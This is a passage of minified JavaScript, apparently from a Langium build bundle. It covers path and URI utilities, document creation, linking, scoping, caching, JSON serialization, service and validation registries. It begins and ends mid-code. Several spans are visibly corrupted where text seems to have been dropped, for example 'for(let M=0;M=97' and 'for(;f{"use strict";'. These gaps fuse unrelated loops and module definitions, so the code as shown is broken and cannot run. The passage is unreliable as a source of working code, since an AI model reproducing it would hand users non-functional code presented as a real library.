T.length>0?T+h.slice(m+v):(m+=v,h.charCodeAt(m)===47&&++m,h.slice(m))},"relative"),_makeLong:o(function(u){return u},"_makeLong"),dirname:o(function(u){if(a(u),u.length===0)return".";for(var h=u.charCodeAt(0),f=h===47,d=-1,p=!0,m=u.length-1;m>=1;--m)if((h=u.charCodeAt(m))===47){if(!p){d=m;break}}else p=!1;return d===-1?f?"/":".":f&&d===1?"//":u.slice(0,d)},"dirname"),basename:o(function(u,h){if(h!==void 0&&typeof h!="string")throw new TypeError('"ext" argument must be a string');a(u);var f,d=0,p=-1,m=!0;if(h!==void 0&&h.length>0&&h.length<=u.length){if(h.length===u.length&&h===u)return"";var g=h.length-1,y=-1;for(f=u.length-1;f>=0;--f){var v=u.charCodeAt(f);if(v===47){if(!m){d=f+1;break}}else y===-1&&(m=!1,y=f+1),g>=0&&(v===h.charCodeAt(g)?--g==-1&&(p=f):(g=-1,p=y))}return d===p?p=y:p===-1&&(p=u.length),u.slice(d,p)}for(f=u.length-1;f>=0;--f)if(u.charCodeAt(f)===47){if(!m){d=f+1;break}}else p===-1&&(m=!1,p=f+1);return p===-1?"":u.slice(d,p)},"basename"),extname:o(function(u){a(u);for(var h=-1,f=0,d=-1,p=!0,m=0,g=u.length-1;g>=0;--g){var y=u.charCodeAt(g);if(y!==47)d===-1&&(p=!1,d=g+1),y===46?h===-1?h=g:m!==1&&(m=1):h!==-1&&(m=-1);else if(!p){f=g+1;break}}return h===-1||d===-1||m===0||m===1&&h===d-1&&h===f+1?"":u.slice(h,d)},"extname"),format:o(function(u){if(u===null||typeof u!="object")throw new TypeError('The "pathObject" argument must be of type Object. Received type '+typeof u);return(function(h,f){var d=f.dir||f.root,p=f.base||(f.name||"")+(f.ext||"");return d?d===f.root?d+p:d+"/"+p:p})(0,u)},"format"),parse:o(function(u){a(u);var h={root:"",dir:"",base:"",ext:"",name:""};if(u.length===0)return h;var f,d=u.charCodeAt(0),p=d===47;p?(h.root="/",f=1):f=0;for(var m=-1,g=0,y=-1,v=!0,x=u.length-1,b=0;x>=f;--x)if((d=u.charCodeAt(x))!==47)y===-1&&(v=!1,y=x+1),d===46?m===-1?m=x:b!==1&&(b=1):m!==-1&&(b=-1);else if(!v){g=x+1;break}return m===-1||y===-1||b===0||b===1&&m===y-1&&m===g+1?y!==-1&&(h.base=h.name=g===0&&p?u.slice(1,y):u.slice(g,y)):(g===0&&p?(h.name=u.slice(1,m),h.base=u.slice(1,y)):(h.name=u.slice(g,m),h.base=u.slice(g,y)),h.ext=u.slice(m,y)),g>0?h.dir=u.slice(0,g-1):p&&(h.dir="/"),h},"parse"),sep:"/",delimiter:":",win32:null,posix:null};l.posix=l,i.exports=l}},e={};function r(i){var a=e[i];if(a!==void 0)return a.exports;var s=e[i]={exports:{}};return t[i](s,s.exports,r),s.exports}o(r,"r"),r.d=(i,a)=>{for(var s in a)r.o(a,s)&&!r.o(i,s)&&Object.defineProperty(i,s,{enumerable:!0,get:a[s]})},r.o=(i,a)=>Object.prototype.hasOwnProperty.call(i,a),r.r=i=>{typeof Symbol<"u"&&Symbol.toStringTag&&Object.defineProperty(i,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(i,"__esModule",{value:!0})};var n={};(()=>{let i;r.r(n),r.d(n,{URI:o(()=>p,"URI"),Utils:o(()=>I,"Utils")}),typeof process=="object"?i=process.platform==="win32":typeof navigator=="object"&&(i=navigator.userAgent.indexOf("Windows")>=0);let a=/^\w[\w\d+.-]*$/,s=/^\//,l=/^\/\//;function u(L,E){if(!L.scheme&&E)throw new Error(`[UriError]: Scheme is missing: {scheme: "", authority: "${L.authority}", path: "${L.path}", query: "${L.query}", fragment: "${L.fragment}"}`);if(L.scheme&&!a.test(L.scheme))throw new Error("[UriError]: Scheme contains illegal characters.");if(L.path){if(L.authority){if(!s.test(L.path))throw new Error('[UriError]: If a URI contains an authority component, then the path component must either be empty or begin with a slash ("/") character')}else if(l.test(L.path))throw new Error('[UriError]: If a URI does not contain an authority component, then the path cannot begin with two slash characters ("//")')}}o(u,"s");let h="",f="/",d=/^(([^:/?#]+?):)?(\/\/([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?/;class p{static{o(this,"f")}static isUri(E){return E instanceof p||!!E&&typeof E.authority=="string"&&typeof E.fragment=="string"&&typeof E.path=="string"&&typeof E.query=="string"&&typeof E.scheme=="string"&&typeof E.fsPath=="string"&&typeof E.with=="function"&&typeof E.toString=="function"}scheme;authority;path;query;fragment;constructor(E,D,_,O,M,P=!1){typeof E=="object"?(this.scheme=E.scheme||h,this.authority=E.authority||h,this.path=E.path||h,this.query=E.query||h,this.fragment=E.fragment||h):(this.scheme=(function(B,F){return B||F?B:"file"})(E,P),this.authority=D||h,this.path=(function(B,F){switch(B){case"https":case"http":case"file":F?F[0]!==f&&(F=f+F):F=f}return F})(this.scheme,_||h),this.query=O||h,this.fragment=M||h,u(this,P))}get fsPath(){return b(this,!1)}with(E){if(!E)return this;let{scheme:D,authority:_,path:O,query:M,fragment:P}=E;return D===void 0?D=this.scheme:D===null&&(D=h),_===void 0?_=this.authority:_===null&&(_=h),O===void 0?O=this.path:O===null&&(O=h),M===void 0?M=this.query:M===null&&(M=h),P===void 0?P=this.fragment:P===null&&(P=h),D===this.scheme&&_===this.authority&&O===this.path&&M===this.query&&P===this.fragment?this:new g(D,_,O,M,P)}static parse(E,D=!1){let _=d.exec(E);return _?new g(_[2]||h,k(_[4]||h),k(_[5]||h),k(_[7]||h),k(_[9]||h),D):new g(h,h,h,h,h)}static file(E){let D=h;if(i&&(E=E.replace(/\\/g,f)),E[0]===f&&E[1]===f){let _=E.indexOf(f,2);_===-1?(D=E.substring(2),E=f):(D=E.substring(2,_),E=E.substring(_)||f)}return new g("file",D,E,h,h)}static from(E){let D=new g(E.scheme,E.authority,E.path,E.query,E.fragment);return u(D,!0),D}toString(E=!1){return T(this,E)}toJSON(){return this}static revive(E){if(E){if(E instanceof p)return E;{let D=new g(E);return D._formatted=E.external,D._fsPath=E._sep===m?E.fsPath:null,D}}return E}}let m=i?1:void 0;class g extends p{static{o(this,"l")}_formatted=null;_fsPath=null;get fsPath(){return this._fsPath||(this._fsPath=b(this,!1)),this._fsPath}toString(E=!1){return E?T(this,!0):(this._formatted||(this._formatted=T(this,!1)),this._formatted)}toJSON(){let E={$mid:1};return this._fsPath&&(E.fsPath=this._fsPath,E._sep=m),this._formatted&&(E.external=this._formatted),this.path&&(E.path=this.path),this.scheme&&(E.scheme=this.scheme),this.authority&&(E.authority=this.authority),this.query&&(E.query=this.query),this.fragment&&(E.fragment=this.fragment),E}}let y={58:"%3A",47:"%2F",63:"%3F",35:"%23",91:"%5B",93:"%5D",64:"%40",33:"%21",36:"%24",38:"%26",39:"%27",40:"%28",41:"%29",42:"%2A",43:"%2B",44:"%2C",59:"%3B",61:"%3D",32:"%20"};function v(L,E,D){let _,O=-1;for(let M=0;M=97&&P<=122||P>=65&&P<=90||P>=48&&P<=57||P===45||P===46||P===95||P===126||E&&P===47||D&&P===91||D&&P===93||D&&P===58)O!==-1&&(_+=encodeURIComponent(L.substring(O,M)),O=-1),_!==void 0&&(_+=L.charAt(M));else{_===void 0&&(_=L.substr(0,M));let B=y[P];B!==void 0?(O!==-1&&(_+=encodeURIComponent(L.substring(O,M)),O=-1),_+=B):O===-1&&(O=M)}}return O!==-1&&(_+=encodeURIComponent(L.substring(O))),_!==void 0?_:L}o(v,"d");function x(L){let E;for(let D=0;D1&&L.scheme==="file"?`//${L.authority}${L.path}`:L.path.charCodeAt(0)===47&&(L.path.charCodeAt(1)>=65&&L.path.charCodeAt(1)<=90||L.path.charCodeAt(1)>=97&&L.path.charCodeAt(1)<=122)&&L.path.charCodeAt(2)===58?E?L.path.substr(1):L.path[1].toLowerCase()+L.path.substr(2):L.path,i&&(D=D.replace(/\//g,"\\")),D}o(b,"m");function T(L,E){let D=E?x:v,_="",{scheme:O,authority:M,path:P,query:B,fragment:F}=L;if(O&&(_+=O,_+=":"),(M||O==="file")&&(_+=f,_+=f),M){let G=M.indexOf("@");if(G!==-1){let $=M.substr(0,G);M=M.substr(G+1),G=$.lastIndexOf(":"),G===-1?_+=D($,!1,!1):(_+=D($.substr(0,G),!1,!1),_+=":",_+=D($.substr(G+1),!1,!0)),_+="@"}M=M.toLowerCase(),G=M.lastIndexOf(":"),G===-1?_+=D(M,!1,!0):(_+=D(M.substr(0,G),!1,!0),_+=M.substr(G))}if(P){if(P.length>=3&&P.charCodeAt(0)===47&&P.charCodeAt(2)===58){let G=P.charCodeAt(1);G>=65&&G<=90&&(P=`/${String.fromCharCode(G+32)}:${P.substr(3)}`)}else if(P.length>=2&&P.charCodeAt(1)===58){let G=P.charCodeAt(0);G>=65&&G<=90&&(P=`${String.fromCharCode(G+32)}:${P.substr(2)}`)}_+=D(P,!0,!1)}return B&&(_+="?",_+=D(B,!1,!1)),F&&(_+="#",_+=E?F:v(F,!1,!1)),_}o(T,"y");function S(L){try{return decodeURIComponent(L)}catch{return L.length>3?L.substr(0,3)+S(L.substr(3)):L}}o(S,"v");let w=/(%[0-9A-Za-z][0-9A-Za-z])+/g;function k(L){return L.match(w)?L.replace(w,(E=>S(E))):L}o(k,"C");var A=r(470);let C=A.posix||A,R="/";var I;(function(L){L.joinPath=function(E,...D){return E.with({path:C.join(E.path,...D)})},L.resolvePath=function(E,...D){let _=E.path,O=!1;_[0]!==R&&(_=R+_,O=!0);let M=C.resolve(_,...D);return O&&M[0]===R&&!E.authority&&(M=M.substring(1)),E.with({path:M})},L.dirname=function(E){if(E.path.length===0||E.path===R)return E;let D=C.dirname(E.path);return D.length===1&&D.charCodeAt(0)===46&&(D=""),E.with({path:D})},L.basename=function(E){return C.basename(E.path)},L.extname=function(E){return C.extname(E.path)}})(I||(I={}))})(),fme=n})();({URI:ys,Utils:V1}=fme)});var vs,Qc=N(()=>{"use strict";nB();(function(t){t.basename=V1.basename,t.dirname=V1.dirname,t.extname=V1.extname,t.joinPath=V1.joinPath,t.resolvePath=V1.resolvePath;function e(i,a){return i?.toString()===a?.toString()}o(e,"equals"),t.equals=e;function r(i,a){let s=typeof i=="string"?i:i.path,l=typeof a=="string"?a:a.path,u=s.split("/").filter(m=>m.length>0),h=l.split("/").filter(m=>m.length>0),f=0;for(;f{"use strict";hme();U1();el();Ys();Qc();(function(t){t[t.Changed=0]="Changed",t[t.Parsed=1]="Parsed",t[t.IndexedContent=2]="IndexedContent",t[t.ComputedScopes=3]="ComputedScopes",t[t.Linked=4]="Linked",t[t.IndexedReferences=5]="IndexedReferences",t[t.Validated=6]="Validated"})(Ln||(Ln={}));Db=class{static{o(this,"DefaultLangiumDocumentFactory")}constructor(e){this.serviceRegistry=e.ServiceRegistry,this.textDocuments=e.workspace.TextDocuments,this.fileSystemProvider=e.workspace.FileSystemProvider}async fromUri(e,r=br.CancellationToken.None){let n=await this.fileSystemProvider.readFile(e);return this.createAsync(e,n,r)}fromTextDocument(e,r,n){return r=r??ys.parse(e.uri),br.CancellationToken.is(n)?this.createAsync(r,e,n):this.create(r,e,n)}fromString(e,r,n){return br.CancellationToken.is(n)?this.createAsync(r,e,n):this.create(r,e,n)}fromModel(e,r){return this.create(r,{$model:e})}create(e,r,n){if(typeof r=="string"){let i=this.parse(e,r,n);return this.createLangiumDocument(i,e,void 0,r)}else if("$model"in r){let i={value:r.$model,parserErrors:[],lexerErrors:[]};return this.createLangiumDocument(i,e)}else{let i=this.parse(e,r.getText(),n);return this.createLangiumDocument(i,e,r)}}async createAsync(e,r,n){if(typeof r=="string"){let i=await this.parseAsync(e,r,n);return this.createLangiumDocument(i,e,void 0,r)}else{let i=await this.parseAsync(e,r.getText(),n);return this.createLangiumDocument(i,e,r)}}createLangiumDocument(e,r,n,i){let a;if(n)a={parseResult:e,uri:r,state:Ln.Parsed,references:[],textDocument:n};else{let s=this.createTextDocumentGetter(r,i);a={parseResult:e,uri:r,state:Ln.Parsed,references:[],get textDocument(){return s()}}}return e.value.$document=a,a}async update(e,r){var n,i;let a=(n=e.parseResult.value.$cstNode)===null||n===void 0?void 0:n.root.fullText,s=(i=this.textDocuments)===null||i===void 0?void 0:i.get(e.uri.toString()),l=s?s.getText():await this.fileSystemProvider.readFile(e.uri);if(s)Object.defineProperty(e,"textDocument",{value:s});else{let u=this.createTextDocumentGetter(e.uri,l);Object.defineProperty(e,"textDocument",{get:u})}return a!==l&&(e.parseResult=await this.parseAsync(e.uri,l,r),e.parseResult.value.$document=e),e.state=Ln.Parsed,e}parse(e,r,n){return this.serviceRegistry.getServices(e).parser.LangiumParser.parse(r,n)}parseAsync(e,r,n){return this.serviceRegistry.getServices(e).parser.AsyncParser.parse(r,n)}createTextDocumentGetter(e,r){let n=this.serviceRegistry,i;return()=>i??(i=G1.create(e.toString(),n.getServices(e).LanguageMetaData.languageId,0,r??""))}},Lb=class{static{o(this,"DefaultLangiumDocuments")}constructor(e){this.documentMap=new Map,this.langiumDocumentFactory=e.workspace.LangiumDocumentFactory,this.serviceRegistry=e.ServiceRegistry}get all(){return an(this.documentMap.values())}addDocument(e){let r=e.uri.toString();if(this.documentMap.has(r))throw new Error(`A document with the URI '${r}' is already present.`);this.documentMap.set(r,e)}getDocument(e){let r=e.toString();return this.documentMap.get(r)}async getOrCreateDocument(e,r){let n=this.getDocument(e);return n||(n=await this.langiumDocumentFactory.fromUri(e,r),this.addDocument(n),n)}createDocument(e,r,n){if(n)return this.langiumDocumentFactory.fromString(r,e,n).then(i=>(this.addDocument(i),i));{let i=this.langiumDocumentFactory.fromString(r,e);return this.addDocument(i),i}}hasDocument(e){return this.documentMap.has(e.toString())}invalidateDocument(e){let r=e.toString(),n=this.documentMap.get(r);return n&&(this.serviceRegistry.getServices(e).references.Linker.unlink(n),n.state=Ln.Changed,n.precomputedScopes=void 0,n.diagnostics=void 0),n}deleteDocument(e){let r=e.toString(),n=this.documentMap.get(r);return n&&(n.state=Ln.Changed,this.documentMap.delete(r)),n}}});var iB,Rb,aB=N(()=>{"use strict";el();Pl();hs();tl();U1();iB=Symbol("ref_resolving"),Rb=class{static{o(this,"DefaultLinker")}constructor(e){this.reflection=e.shared.AstReflection,this.langiumDocuments=()=>e.shared.workspace.LangiumDocuments,this.scopeProvider=e.references.ScopeProvider,this.astNodeLocator=e.workspace.AstNodeLocator}async link(e,r=br.CancellationToken.None){for(let n of Jo(e.parseResult.value))await bi(r),a1(n).forEach(i=>this.doLink(i,e))}doLink(e,r){var n;let i=e.reference;if(i._ref===void 0){i._ref=iB;try{let a=this.getCandidate(e);if(_p(a))i._ref=a;else if(i._nodeDescription=a,this.langiumDocuments().hasDocument(a.documentUri)){let s=this.loadAstNode(a);i._ref=s??this.createLinkingError(e,a)}else i._ref=void 0}catch(a){console.error(`An error occurred while resolving reference to '${i.$refText}':`,a);let s=(n=a.message)!==null&&n!==void 0?n:String(a);i._ref=Object.assign(Object.assign({},e),{message:`An error occurred while resolving reference to '${i.$refText}': ${s}`})}r.references.push(i)}}unlink(e){for(let r of e.references)delete r._ref,delete r._nodeDescription;e.references=[]}getCandidate(e){let n=this.scopeProvider.getScope(e).getElement(e.reference.$refText);return n??this.createLinkingError(e)}buildReference(e,r,n,i){let a=this,s={$refNode:n,$refText:i,get ref(){var l;if(li(this._ref))return this._ref;if(qI(this._nodeDescription)){let u=a.loadAstNode(this._nodeDescription);this._ref=u??a.createLinkingError({reference:s,container:e,property:r},this._nodeDescription)}else if(this._ref===void 0){this._ref=iB;let u=Gx(e).$document,h=a.getLinkedNode({reference:s,container:e,property:r});if(h.error&&u&&u.state{"use strict";zl();o(dme,"isNamed");Nb=class{static{o(this,"DefaultNameProvider")}getName(e){if(dme(e))return e.name}getNameNode(e){return Xx(e.$cstNode,"name")}}});var Mb,oB=N(()=>{"use strict";zl();Pl();hs();Bl();Ys();Qc();Mb=class{static{o(this,"DefaultReferences")}constructor(e){this.nameProvider=e.references.NameProvider,this.index=e.shared.workspace.IndexManager,this.nodeLocator=e.workspace.AstNodeLocator}findDeclaration(e){if(e){let r=MO(e),n=e.astNode;if(r&&n){let i=n[r.feature];if(Ta(i))return i.ref;if(Array.isArray(i)){for(let a of i)if(Ta(a)&&a.$refNode&&a.$refNode.offset<=e.offset&&a.$refNode.end>=e.end)return a.ref}}if(n){let i=this.nameProvider.getNameNode(n);if(i&&(i===e||YI(e,i)))return n}}}findDeclarationNode(e){let r=this.findDeclaration(e);if(r?.$cstNode){let n=this.nameProvider.getNameNode(r);return n??r.$cstNode}}findReferences(e,r){let n=[];if(r.includeDeclaration){let a=this.getReferenceToSelf(e);a&&n.push(a)}let i=this.index.findAllReferences(e,this.nodeLocator.getAstNodePath(e));return r.documentUri&&(i=i.filter(a=>vs.equals(a.sourceUri,r.documentUri))),n.push(...i),an(n)}getReferenceToSelf(e){let r=this.nameProvider.getNameNode(e);if(r){let n=Va(e),i=this.nodeLocator.getAstNodePath(e);return{sourceUri:n.uri,sourcePath:i,targetUri:n.uri,targetPath:i,segment:Lp(r),local:!0}}}}});var Vl,Qp,H1=N(()=>{"use strict";Ys();Vl=class{static{o(this,"MultiMap")}constructor(e){if(this.map=new Map,e)for(let[r,n]of e)this.add(r,n)}get size(){return vg.sum(an(this.map.values()).map(e=>e.length))}clear(){this.map.clear()}delete(e,r){if(r===void 0)return this.map.delete(e);{let n=this.map.get(e);if(n){let i=n.indexOf(r);if(i>=0)return n.length===1?this.map.delete(e):n.splice(i,1),!0}return!1}}get(e){var r;return(r=this.map.get(e))!==null&&r!==void 0?r:[]}has(e,r){if(r===void 0)return this.map.has(e);{let n=this.map.get(e);return n?n.indexOf(r)>=0:!1}}add(e,r){return this.map.has(e)?this.map.get(e).push(r):this.map.set(e,[r]),this}addAll(e,r){return this.map.has(e)?this.map.get(e).push(...r):this.map.set(e,Array.from(r)),this}forEach(e){this.map.forEach((r,n)=>r.forEach(i=>e(i,n,this)))}[Symbol.iterator](){return this.entries().iterator()}entries(){return an(this.map.entries()).flatMap(([e,r])=>r.map(n=>[e,n]))}keys(){return an(this.map.keys())}values(){return an(this.map.values()).flat()}entriesGroupedByKey(){return an(this.map.entries())}},Qp=class{static{o(this,"BiMap")}get size(){return this.map.size}constructor(e){if(this.map=new Map,this.inverse=new Map,e)for(let[r,n]of e)this.set(r,n)}clear(){this.map.clear(),this.inverse.clear()}set(e,r){return this.map.set(e,r),this.inverse.set(r,e),this}get(e){return this.map.get(e)}getKey(e){return this.inverse.get(e)}delete(e){let r=this.map.get(e);return r!==void 0?(this.map.delete(e),this.inverse.delete(r),!0):!1}}});var Ib,lB=N(()=>{"use strict";el();hs();H1();tl();Ib=class{static{o(this,"DefaultScopeComputation")}constructor(e){this.nameProvider=e.references.NameProvider,this.descriptions=e.workspace.AstNodeDescriptionProvider}async computeExports(e,r=br.CancellationToken.None){return this.computeExportsForNode(e.parseResult.value,e,void 0,r)}async computeExportsForNode(e,r,n=Vx,i=br.CancellationToken.None){let a=[];this.exportNode(e,a,r);for(let s of n(e))await bi(i),this.exportNode(s,a,r);return a}exportNode(e,r,n){let i=this.nameProvider.getName(e);i&&r.push(this.descriptions.createDescription(e,i,n))}async computeLocalScopes(e,r=br.CancellationToken.None){let n=e.parseResult.value,i=new Vl;for(let a of qc(n))await bi(r),this.processNode(a,e,i);return i}processNode(e,r,n){let i=e.$container;if(i){let a=this.nameProvider.getName(e);a&&n.add(i,this.descriptions.createDescription(e,a,r))}}}});var q1,Ob,rje,cB=N(()=>{"use strict";Ys();q1=class{static{o(this,"StreamScope")}constructor(e,r,n){var i;this.elements=e,this.outerScope=r,this.caseInsensitive=(i=n?.caseInsensitive)!==null&&i!==void 0?i:!1}getAllElements(){return this.outerScope?this.elements.concat(this.outerScope.getAllElements()):this.elements}getElement(e){let r=this.caseInsensitive?this.elements.find(n=>n.name.toLowerCase()===e.toLowerCase()):this.elements.find(n=>n.name===e);if(r)return r;if(this.outerScope)return this.outerScope.getElement(e)}},Ob=class{static{o(this,"MapScope")}constructor(e,r,n){var i;this.elements=new Map,this.caseInsensitive=(i=n?.caseInsensitive)!==null&&i!==void 0?i:!1;for(let a of e){let s=this.caseInsensitive?a.name.toLowerCase():a.name;this.elements.set(s,a)}this.outerScope=r}getElement(e){let r=this.caseInsensitive?e.toLowerCase():e,n=this.elements.get(r);if(n)return n;if(this.outerScope)return this.outerScope.getElement(e)}getAllElements(){let e=an(this.elements.values());return this.outerScope&&(e=e.concat(this.outerScope.getAllElements())),e}},rje={getElement(){},getAllElements(){return Rx}}});var W1,Pb,Zp,KS,Y1,QS=N(()=>{"use strict";W1=class{static{o(this,"DisposableCache")}constructor(){this.toDispose=[],this.isDisposed=!1}onDispose(e){this.toDispose.push(e)}dispose(){this.throwIfDisposed(),this.clear(),this.isDisposed=!0,this.toDispose.forEach(e=>e.dispose())}throwIfDisposed(){if(this.isDisposed)throw new Error("This cache has already been disposed")}},Pb=class extends W1{static{o(this,"SimpleCache")}constructor(){super(...arguments),this.cache=new Map}has(e){return this.throwIfDisposed(),this.cache.has(e)}set(e,r){this.throwIfDisposed(),this.cache.set(e,r)}get(e,r){if(this.throwIfDisposed(),this.cache.has(e))return this.cache.get(e);if(r){let n=r();return this.cache.set(e,n),n}else return}delete(e){return this.throwIfDisposed(),this.cache.delete(e)}clear(){this.throwIfDisposed(),this.cache.clear()}},Zp=class extends W1{static{o(this,"ContextCache")}constructor(e){super(),this.cache=new Map,this.converter=e??(r=>r)}has(e,r){return this.throwIfDisposed(),this.cacheForContext(e).has(r)}set(e,r,n){this.throwIfDisposed(),this.cacheForContext(e).set(r,n)}get(e,r,n){this.throwIfDisposed();let i=this.cacheForContext(e);if(i.has(r))return i.get(r);if(n){let a=n();return i.set(r,a),a}else return}delete(e,r){return this.throwIfDisposed(),this.cacheForContext(e).delete(r)}clear(e){if(this.throwIfDisposed(),e){let r=this.converter(e);this.cache.delete(r)}else this.cache.clear()}cacheForContext(e){let r=this.converter(e),n=this.cache.get(r);return n||(n=new Map,this.cache.set(r,n)),n}},KS=class extends Zp{static{o(this,"DocumentCache")}constructor(e,r){super(n=>n.toString()),r?(this.toDispose.push(e.workspace.DocumentBuilder.onDocumentPhase(r,n=>{this.clear(n.uri.toString())})),this.toDispose.push(e.workspace.DocumentBuilder.onUpdate((n,i)=>{for(let a of i)this.clear(a)}))):this.toDispose.push(e.workspace.DocumentBuilder.onUpdate((n,i)=>{let a=n.concat(i);for(let s of a)this.clear(s)}))}},Y1=class extends Pb{static{o(this,"WorkspaceCache")}constructor(e,r){super(),r?(this.toDispose.push(e.workspace.DocumentBuilder.onBuildPhase(r,()=>{this.clear()})),this.toDispose.push(e.workspace.DocumentBuilder.onUpdate((n,i)=>{i.length>0&&this.clear()}))):this.toDispose.push(e.workspace.DocumentBuilder.onUpdate(()=>{this.clear()}))}}});var Bb,uB=N(()=>{"use strict";cB();hs();Ys();QS();Bb=class{static{o(this,"DefaultScopeProvider")}constructor(e){this.reflection=e.shared.AstReflection,this.nameProvider=e.references.NameProvider,this.descriptions=e.workspace.AstNodeDescriptionProvider,this.indexManager=e.shared.workspace.IndexManager,this.globalScopeCache=new Y1(e.shared)}getScope(e){let r=[],n=this.reflection.getReferenceType(e),i=Va(e.container).precomputedScopes;if(i){let s=e.container;do{let l=i.get(s);l.length>0&&r.push(an(l).filter(u=>this.reflection.isSubtype(u.type,n))),s=s.$container}while(s)}let a=this.getGlobalScope(n,e);for(let s=r.length-1;s>=0;s--)a=this.createScope(r[s],a);return a}createScope(e,r,n){return new q1(an(e),r,n)}createScopeForNodes(e,r,n){let i=an(e).map(a=>{let s=this.nameProvider.getName(a);if(s)return this.descriptions.createDescription(a,s)}).nonNullable();return new q1(i,r,n)}getGlobalScope(e,r){return this.globalScopeCache.get(e,()=>new Ob(this.indexManager.allElements(e)))}}});function hB(t){return typeof t.$comment=="string"}function pme(t){return typeof t=="object"&&!!t&&("$ref"in t||"$error"in t)}var Fb,ZS=N(()=>{"use strict";nB();Pl();hs();zl();o(hB,"isAstNodeWithComment");o(pme,"isIntermediateReference");Fb=class{static{o(this,"DefaultJsonSerializer")}constructor(e){this.ignoreProperties=new Set(["$container","$containerProperty","$containerIndex","$document","$cstNode"]),this.langiumDocuments=e.shared.workspace.LangiumDocuments,this.astNodeLocator=e.workspace.AstNodeLocator,this.nameProvider=e.references.NameProvider,this.commentProvider=e.documentation.CommentProvider}serialize(e,r){let n=r??{},i=r?.replacer,a=o((l,u)=>this.replacer(l,u,n),"defaultReplacer"),s=i?(l,u)=>i(l,u,a):a;try{return this.currentDocument=Va(e),JSON.stringify(e,s,r?.space)}finally{this.currentDocument=void 0}}deserialize(e,r){let n=r??{},i=JSON.parse(e);return this.linkNode(i,i,n),i}replacer(e,r,{refText:n,sourceText:i,textRegions:a,comments:s,uriConverter:l}){var u,h,f,d;if(!this.ignoreProperties.has(e))if(Ta(r)){let p=r.ref,m=n?r.$refText:void 0;if(p){let g=Va(p),y="";this.currentDocument&&this.currentDocument!==g&&(l?y=l(g.uri,r):y=g.uri.toString());let v=this.astNodeLocator.getAstNodePath(p);return{$ref:`${y}#${v}`,$refText:m}}else return{$error:(h=(u=r.error)===null||u===void 0?void 0:u.message)!==null&&h!==void 0?h:"Could not resolve reference",$refText:m}}else if(li(r)){let p;if(a&&(p=this.addAstNodeRegionWithAssignmentsTo(Object.assign({},r)),(!e||r.$document)&&p?.$textRegion&&(p.$textRegion.documentURI=(f=this.currentDocument)===null||f===void 0?void 0:f.uri.toString())),i&&!e&&(p??(p=Object.assign({},r)),p.$sourceText=(d=r.$cstNode)===null||d===void 0?void 0:d.text),s){p??(p=Object.assign({},r));let m=this.commentProvider.getComment(r);m&&(p.$comment=m.replace(/\r/g,""))}return p??r}else return r}addAstNodeRegionWithAssignmentsTo(e){let r=o(n=>({offset:n.offset,end:n.end,length:n.length,range:n.range}),"createDocumentSegment");if(e.$cstNode){let n=e.$textRegion=r(e.$cstNode),i=n.assignments={};return Object.keys(e).filter(a=>!a.startsWith("$")).forEach(a=>{let s=DO(e.$cstNode,a).map(r);s.length!==0&&(i[a]=s)}),e}}linkNode(e,r,n,i,a,s){for(let[u,h]of Object.entries(e))if(Array.isArray(h))for(let f=0;f{"use strict";Qc();$b=class{static{o(this,"DefaultServiceRegistry")}get map(){return this.fileExtensionMap}constructor(e){this.languageIdMap=new Map,this.fileExtensionMap=new Map,this.textDocuments=e?.workspace.TextDocuments}register(e){let r=e.LanguageMetaData;for(let n of r.fileExtensions)this.fileExtensionMap.has(n)&&console.warn(`The file extension ${n} is used by multiple languages. It is now assigned to '${r.languageId}'.`),this.fileExtensionMap.set(n,e);this.languageIdMap.set(r.languageId,e),this.languageIdMap.size===1?this.singleton=e:this.singleton=void 0}getServices(e){var r,n;if(this.singleton!==void 0)return this.singleton;if(this.languageIdMap.size===0)throw new Error("The service registry is empty. Use `register` to register the services of a language.");let i=(n=(r=this.textDocuments)===null||r===void 0?void 0:r.get(e))===null||n===void 0?void 0:n.languageId;if(i!==void 0){let l=this.languageIdMap.get(i);if(l)return l}let a=vs.extname(e),s=this.fileExtensionMap.get(a);if(!s)throw i?new Error(`The service registry contains no services for the extension '${a}' for language '${i}'.`):new Error(`The service registry contains no services for the extension '${a}'.`);return s}hasServices(e){try{return this.getServices(e),!0}catch{return!1}}get all(){return Array.from(this.languageIdMap.values())}}});function Jp(t){return{code:t}}var X1,zb,Gb=N(()=>{"use strict";vo();H1();tl();Ys();o(Jp,"diagnosticData");(function(t){t.all=["fast","slow","built-in"]})(X1||(X1={}));zb=class{static{o(this,"ValidationRegistry")}constructor(e){this.entries=new Vl,this.entriesBefore=[],this.entriesAfter=[],this.reflection=e.shared.AstReflection}register(e,r=this,n="fast"){if(n==="built-in")throw new Error("The 'built-in' category is reserved for lexer, parser, and linker errors.");for(let[i,a]of Object.entries(e)){let s=a;if(Array.isArray(s))for(let l of s){let u={check:this.wrapValidationException(l,r),category:n};this.addEntry(i,u)}else if(typeof s=="function"){let l={check:this.wrapValidationException(s,r),category:n};this.addEntry(i,l)}else Uc(s)}}wrapValidationException(e,r){return async(n,i,a)=>{await this.handleException(()=>e.call(r,n,i,a),"An error occurred during validation",i,n)}}async handleException(e,r,n,i){try{await e()}catch(a){if(Kc(a))throw a;console.error(`${r}:`,a),a instanceof Error&&a.stack&&console.error(a.stack);let s=a instanceof Error?a.message:String(a);n("error",`${r}: ${s}`,{node:i})}}addEntry(e,r){if(e==="AstNode"){this.entries.add("AstNode",r);return}for(let n of this.reflection.getAllSubTypes(e))this.entries.add(n,r)}getChecks(e,r){let n=an(this.entries.get(e)).concat(this.entries.get("AstNode"));return r&&(n=n.filter(i=>r.includes(i.category))),n.map(i=>i.check)}registerBeforeDocument(e,r=this){this.entriesBefore.push(this.wrapPreparationException(e,"An error occurred during set-up of the validation",r))}registerAfterDocument(e,r=this){this.entriesAfter.push(this.wrapPreparationException(e,"An error occurred during tear-down of the validation",r))}wrapPreparationException(e,r,n){return async(i,a,s,l)=>{await this.handleException(()=>e.call(n,i,a,s,l),r,a,i)}}get checksBefore(){return this.entriesBefore}get checksAfter(){return this.entriesAfter}}});function mme(t){if(t.range)return t.range;let e;return typeof t.property=="string"?e=Xx(t.node.$cstNode,t.property,t.index):typeof t.keyword=="string"&&(e=RO(t.node.$cstNode,t.keyword,t.index)),e??(e=t.node.$cstNode),e?e.range:{start:{line:0,character:0},end:{line:0,character:0}}}function JS(t){switch(t){case"error":return 1;case"warning":return 2;case"info":return 3;case"hint":return 4;default:throw new Error("Invalid diagnostic severity: "+t)}}function gme(t){switch(t){case"error":return Jp(rl.LexingError);case"warning":return Jp(rl.LexingWarning);case"info":return Jp(rl.LexingInfo);case"hint":return Jp(rl.LexingHint);default:throw 